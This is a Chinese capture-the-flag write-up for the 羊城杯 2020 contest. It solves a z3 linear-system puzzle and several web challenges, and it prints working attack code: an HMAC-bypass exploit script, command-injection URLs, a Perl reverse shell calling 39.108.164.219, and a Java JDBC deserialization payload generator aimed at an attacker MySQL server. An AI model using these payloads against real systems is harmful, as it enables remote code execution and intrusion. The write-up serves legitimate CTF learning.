羊城杯2020

羊城杯 2020

题外话

这次拿了第三,帮苏哥扬名很开心(队名:甜甜的恋爱与苏哥有关):joy:

对于我这个🥬:baby_chick: 来说还是挺好的

com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
360 883 394 719 183 923 431 873 678 798 1007 1018 160 467 684 288 801 251 991 721 326 529 479 786 199 275 814 835 956 176 720 549 590 304 816 10514983
822 520 807 909 36 513 663 319 527 806 190 213 750 260 358 516 188 882 695 619 118 304 277 459 822 123 356 630 802 1011 556 408 545 896 953 8672626
717 243 440 842 40 779 127 408 537 150 918 925 462 890 277 743 448 595 267 115 299 681 929 166 648 428 326 72 595 895 557 752 442 210 286 7647213
20 664 312 720 579 938 821 802 172 465 661 121 569 730 669 530 12 503 480 798 481 917 238 85 654 638 869 676 583 655 17 899 346 585 124 9059689
642 599 51 755 409 640 239 70 69 919 913 104 203 524 770 930 251 373 292 499 603 69 813 1010 937 315 191 719 444 127 987 85 848 955 363 8105071
488 718 257 133 1007 142 897 70 65 160 546 648 790 448 900 310 18 523 392 595 640 284 849 83 384 976 44 472 434 829 987 111 92 789 993 7583209
464 669 740 236 876 266 534 597 799 290 619 812 655 897 159 810 606 808 763 577 498 953 1016 7 736 50 734 397 1 883 456 278 883 1006 301 9813063
388 364 318 475 753 473 753 375 84 26 520 184 1023 971 263 973 896 839 60 306 772 910 787 174 518 325 205 136 808 902 638 980 418 624 882 8934784
332 666 462 268 190 331 76 999 931 686 237 525 612 201 136 920 398 836 122 582 710 348 873 127 606 851 197 194 393 799 399 934 975 53 145 8265602
676 158 397 796 891 277 301 561 658 231 587 807 508 73 420 990 797 137 656 494 886 556 698 601 314 28 942 799 906 762 235 745 422 112 69 8906990
938 405 685 339 53 44 861 233 836 74 647 843 760 634 999 658 815 652 376 172 839 388 224 28 846 815 52 404 987 927 790 489 376 56 459 8898943
78 412 817 519 588 469 810 178 309 694 567 301 598 792 433 279 772 949 899 848 914 611 861 719 401 129 786 912 708 284 940 784 197 988 940 10115461
938 689 506 915 568 882 291 554 97 888 914 740 388 698 422 481 443 454 904 430 1010 826 972 728 342 519 212 909 708 518 691 258 494 363 981 10279244
894 865 667 844 496 337 748 686 153 776 727 287 798 108 14 335 680 138 340 65 405 494 927 664 871 522 900 54 655 500 750 56 111 273 496 7192064
319 675 450 810 219 268 31 424 732 1017 800 650 806 124 463 461 242 149 999 647 891 658 717 377 313 876 64 298 472 708 272 436 953 525 840 8669041
913 929 896 460 18 367 976 883 263 120 988 417 702 1019 399 651 353 423 112 311 862 683 275 478 739 893 135 809 63 364 181 507 18 996 414 8964322
351 716 903 476 21 109 861 592 327 136 354 114 928 288 33 308 60 44 553 326 601 63 741 802 239 752 495 933 875 172 613 353 554 976 854 7215073
786 784 387 450 624 575 553 154 71 714 469 669 896 502 869 831 202 150 743 368 165 240 728 536 1019 55 1006 170 295 613 441 502 989 409 798 8681868
8 608 378 623 140 832 641 685 683 820 728 949 310 510 452 666 602 513 39 852 278 28 978 306 616 280 824 36 768 964 596 874 922 959 18 9009965
434 238 147 2 64 820 473 110 876 711 891 1021 380 230 936 112 558 534 858 218 436 800 366 94 644 839 1016 727 863 524 732 505 688 996 694 9323233
366 115 801 676 561 199 219 197 807 259 201 394 701 440 1019 120 696 631 562 965 621 105 385 133 687 589 226 743 604 813 180 537 68 727 417 7838602
515 826 753 549 593 486 992 610 591 321 685 615 110 734 710 112 109 1017 755 68 552 217 682 558 861 1003 363 476 315 156 360 832 773 252 557 9223162
883 747 540 720 679 478 45 910 84 841 1015 113 82 731 85 552 430 771 504 136 794 128 19 1005 878 327 582 535 846 344 146 531 991 711 414 8706730
498 953 79 629 796 742 726 491 133 742 168 452 399 277 995 676 520 690 898 903 234 678 0 827 279 831 834 893 422 207 435 293 180 268 955 9970522
552 172 551 90 291 336 616 943 47 317 48 628 644 434 738 707 620 479 504 319 101 906 128 270 346 596 740 819 928 233 31 869 279 701 158 7881629
596 67 953 395 544 923 189 454 929 684 797 297 428 164 788 682 917 397 9 227 839 897 34 767 737 335 105 618 115 336 879 136 131 177 113 8566453
717 31 5 257 845 545 419 569 9 366 684 133 52 346 30 203 101 433 635 974 840 262 632 751 53 217 454 638 53 154 267 396 784 800 311 7486378
118 960 307 65 826 959 229 528 955 206 350 553 448 710 578 656 563 891 445 519 802 294 915 97 59 630 770 801 978 549 541 904 144 615 54 9364748
238 455 363 647 684 400 1006 127 5 248 128 381 676 599 196 890 577 590 143 513 874 770 32 614 16 662 606 143 326 384 245 236 839 644 607 8370183
223 896 922 223 149 897 873 184 350 824 393 38 625 84 50 64 857 889 104 365 177 964 397 941 904 1012 780 736 545 102 795 37 314 629 922 8391555
838 497 263 731 631 662 851 125 914 527 536 424 635 373 502 389 433 22 752 119 558 701 227 585 688 947 15 741 164 800 547 685 537 676 864 9369252
805 986 243 584 987 497 866 526 480 984 668 927 473 19 921 223 45 340 7 31 863 548 40 754 548 998 768 888 476 208 678 436 611 329 489 9724217
598 15 64 563 597 442 689 980 174 862 457 745 631 546 580 596 549 1011 286 93 74 143 56 72 206 756 72 125 844 1015 1000 928 474 884 594 7947611
784 441 438 394 802 590 323 525 357 778 906 194 873 197 192 746 363 689 160 802 302 856 335 118 1016 304 193 767 308 585 523 494 437 346 859 8364295
1003 992 57 630 267 37 731 281 607 181 296 487 96 736 523 243 337 88 508 643 765 267 619 628 544 581 971 105 608 297 709 281 424 257 902 8652387

观察格式发现是一个36*35的矩阵,很容易想到是一个35元一次线性方程组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from z3 import *

a="""360 883 394 719 183 923 431 873 678 798 1007 1018 160 467 684 288 801 251 991 721 326 529 479 786 199 275 814 835 956 176 720 549 590 304 816 10514983
822 520 807 909 36 513 663 319 527 806 190 213 750 260 358 516 188 882 695 619 118 304 277 459 822 123 356 630 802 1011 556 408 545 896 953 8672626
717 243 440 842 40 779 127 408 537 150 918 925 462 890 277 743 448 595 267 115 299 681 929 166 648 428 326 72 595 895 557 752 442 210 286 7647213
20 664 312 720 579 938 821 802 172 465 661 121 569 730 669 530 12 503 480 798 481 917 238 85 654 638 869 676 583 655 17 899 346 585 124 9059689
642 599 51 755 409 640 239 70 69 919 913 104 203 524 770 930 251 373 292 499 603 69 813 1010 937 315 191 719 444 127 987 85 848 955 363 8105071
488 718 257 133 1007 142 897 70 65 160 546 648 790 448 900 310 18 523 392 595 640 284 849 83 384 976 44 472 434 829 987 111 92 789 993 7583209
464 669 740 236 876 266 534 597 799 290 619 812 655 897 159 810 606 808 763 577 498 953 1016 7 736 50 734 397 1 883 456 278 883 1006 301 9813063
388 364 318 475 753 473 753 375 84 26 520 184 1023 971 263 973 896 839 60 306 772 910 787 174 518 325 205 136 808 902 638 980 418 624 882 8934784
332 666 462 268 190 331 76 999 931 686 237 525 612 201 136 920 398 836 122 582 710 348 873 127 606 851 197 194 393 799 399 934 975 53 145 8265602
676 158 397 796 891 277 301 561 658 231 587 807 508 73 420 990 797 137 656 494 886 556 698 601 314 28 942 799 906 762 235 745 422 112 69 8906990
938 405 685 339 53 44 861 233 836 74 647 843 760 634 999 658 815 652 376 172 839 388 224 28 846 815 52 404 987 927 790 489 376 56 459 8898943
78 412 817 519 588 469 810 178 309 694 567 301 598 792 433 279 772 949 899 848 914 611 861 719 401 129 786 912 708 284 940 784 197 988 940 10115461
938 689 506 915 568 882 291 554 97 888 914 740 388 698 422 481 443 454 904 430 1010 826 972 728 342 519 212 909 708 518 691 258 494 363 981 10279244
894 865 667 844 496 337 748 686 153 776 727 287 798 108 14 335 680 138 340 65 405 494 927 664 871 522 900 54 655 500 750 56 111 273 496 7192064
319 675 450 810 219 268 31 424 732 1017 800 650 806 124 463 461 242 149 999 647 891 658 717 377 313 876 64 298 472 708 272 436 953 525 840 8669041
913 929 896 460 18 367 976 883 263 120 988 417 702 1019 399 651 353 423 112 311 862 683 275 478 739 893 135 809 63 364 181 507 18 996 414 8964322
351 716 903 476 21 109 861 592 327 136 354 114 928 288 33 308 60 44 553 326 601 63 741 802 239 752 495 933 875 172 613 353 554 976 854 7215073
786 784 387 450 624 575 553 154 71 714 469 669 896 502 869 831 202 150 743 368 165 240 728 536 1019 55 1006 170 295 613 441 502 989 409 798 8681868
8 608 378 623 140 832 641 685 683 820 728 949 310 510 452 666 602 513 39 852 278 28 978 306 616 280 824 36 768 964 596 874 922 959 18 9009965
434 238 147 2 64 820 473 110 876 711 891 1021 380 230 936 112 558 534 858 218 436 800 366 94 644 839 1016 727 863 524 732 505 688 996 694 9323233
366 115 801 676 561 199 219 197 807 259 201 394 701 440 1019 120 696 631 562 965 621 105 385 133 687 589 226 743 604 813 180 537 68 727 417 7838602
515 826 753 549 593 486 992 610 591 321 685 615 110 734 710 112 109 1017 755 68 552 217 682 558 861 1003 363 476 315 156 360 832 773 252 557 9223162
883 747 540 720 679 478 45 910 84 841 1015 113 82 731 85 552 430 771 504 136 794 128 19 1005 878 327 582 535 846 344 146 531 991 711 414 8706730
498 953 79 629 796 742 726 491 133 742 168 452 399 277 995 676 520 690 898 903 234 678 0 827 279 831 834 893 422 207 435 293 180 268 955 9970522
552 172 551 90 291 336 616 943 47 317 48 628 644 434 738 707 620 479 504 319 101 906 128 270 346 596 740 819 928 233 31 869 279 701 158 7881629
596 67 953 395 544 923 189 454 929 684 797 297 428 164 788 682 917 397 9 227 839 897 34 767 737 335 105 618 115 336 879 136 131 177 113 8566453
717 31 5 257 845 545 419 569 9 366 684 133 52 346 30 203 101 433 635 974 840 262 632 751 53 217 454 638 53 154 267 396 784 800 311 7486378
118 960 307 65 826 959 229 528 955 206 350 553 448 710 578 656 563 891 445 519 802 294 915 97 59 630 770 801 978 549 541 904 144 615 54 9364748
238 455 363 647 684 400 1006 127 5 248 128 381 676 599 196 890 577 590 143 513 874 770 32 614 16 662 606 143 326 384 245 236 839 644 607 8370183
223 896 922 223 149 897 873 184 350 824 393 38 625 84 50 64 857 889 104 365 177 964 397 941 904 1012 780 736 545 102 795 37 314 629 922 8391555
838 497 263 731 631 662 851 125 914 527 536 424 635 373 502 389 433 22 752 119 558 701 227 585 688 947 15 741 164 800 547 685 537 676 864 9369252
805 986 243 584 987 497 866 526 480 984 668 927 473 19 921 223 45 340 7 31 863 548 40 754 548 998 768 888 476 208 678 436 611 329 489 9724217
598 15 64 563 597 442 689 980 174 862 457 745 631 546 580 596 549 1011 286 93 74 143 56 72 206 756 72 125 844 1015 1000 928 474 884 594 7947611
784 441 438 394 802 590 323 525 357 778 906 194 873 197 192 746 363 689 160 802 302 856 335 118 1016 304 193 767 308 585 523 494 437 346 859 8364295
1003 992 57 630 267 37 731 281 607 181 296 487 96 736 523 243 337 88 508 643 765 267 619 628 544 581 971 105 608 297 709 281 424 257 902 8652387"""
a=a.splitlines()
s=[]
result=[0]*35
for i in a:
s.append(i.split(" "))

solve = Solver()
X = [Int('x%s' % i) for i in range(35) ]
for i in range(len(s)):
for j in range(len(s[i][:-1])):
result[i]+=int(s[i][j])*X[j]
for i in range(len(s)):
solve.add(result[i]==int(s[i][-1]))
print solve.check()
m = solve.model()
print "traversing model..."
pri=[]
for i in range(35):
pri.append(int("%s" % (m[X[i]])))
print pri

GWHT{4b55c1d5fb6a0234fc252b19e510301a}

easycon

直接命令执行

blackhat

查看Hei_Mao_Jing_Chang.mp3发现源文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('˭�����Ҳ���һֻ����β�ͣ�');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('������׼�����������������������Ҫ��׼��Ŀ�ꡣ�����Լ���������ǿ����а��ĵ��ӵ���');
}

echo exec("nc".$_POST['One-ear']);

$_POST['White-cat-monitor']为空从而控制$clandestine

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import hmac
import requests

cmd=b" ccreater.top:60006||cat /var/www/html/flag.php"
h = hmac.new(b"", cmd, digestmod='sha256').hexdigest()


burp0_url = "http://183.129.189.60:10022/"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"White-cat-monitor[]": '', "One-ear": cmd, "Black-Cat-Sheriff": h}
r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)

拿到flag

easyphp2

扫目录发现robots.txt得到提示:

/?file=check.php

利用file处的任意文件读取获得 check.php内容(用zlib压缩绕过base64被ban),获得密码:GWHT,一次读取GWHT.php得知count参数可以任意命令执行,全局查找发现

/GWHT/system/of/a/down/flag.txt

http://183.129.189.60:10025/GWHT.php?count=123'%26%26cat+/GWHT/system/of/a/down/flag.txt%26%26sss%26%26'

/GWHT/目录下的readme存着GWHT的密码,去cmd5花一块钱解密得到密码

My password hash is 877862561ba0162ce610dd8bf90868ad414f0ec6. :GWHTCTF

/GWHT下findaas的内容(原本以为这个文件有S权限)

1
2
3
4
5
#! /bin/bash

echo "Enter a filename and find it here!"

find . -name $1

利用反弹shell来登陆GWHT

反弹shell

1
system('perl -e \'use Socket;$i="39.108.164.219";$p=60007;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

GWHT{Y0U_H4VE_A_BETTER_SK1LL}

easyjava

https://www.anquanke.com/post/id/203086
JDBC反序列化:
InfoInvocationHandler::invoke->Databaseinfo::checkAllInfo->DriverManager.getConnection

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/hello")
public String hello(@CookieValue(value = "data", required = false)String cookieData, Model model) {
if (cookieData == null || cookieData.equals("")) {
return "redirect:/index";
}
Info info = (Info)deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
}

DatabaseInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


public class DatabaseInfo implements Serializable, Info {

...

private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public Boolean checkAllInfo() {
if (this.host == null || this.port == null || this.username == null || this.password == null) {
return false;
}
if (this.connection == null) {
connect();
}
return true;
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo")) {
if (!this.info.checkAllInfo()) {
return null;
}
}
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

利用proxyinstance来调用InfoInvocationHandler 的invoke方法从而完成上述的利用链

利用这个来生成data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class test {
public static void main(String args[]){
DatabaseInfo db = new DatabaseInfo();
db.setHost("39.108.164.219");
db.setPort("60006");
//db.setUsername("yso_JRE8u20_calc&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&");
db.setUsername("Spring1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&");
db.setPassword("123456");
InvocationHandler handler = new InfoInvocationHandler(db);

ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bout);
out.writeObject(Proxy.newProxyInstance(handler.getClass().getClassLoader(), db.getClass().getInterfaces(), handler));
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(new String(Base64.getEncoder().encode(bout.toByteArray())));

}
}

测试发现CommonsCollections6和CommonsCollections5可以打通,但是由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,利用这个来绕过http://www.jackson-t.ca/runtime-exec-payloads.html
GWHT{5e97245bd9c98aad7040d461538e9231}

jdbc也可以直接读文件,但是这里不行,后来看别人的wp发现要加上设置:allowLoadLocalInfile=true

easyphp

写.htaccess从而rce

easyser

老套路了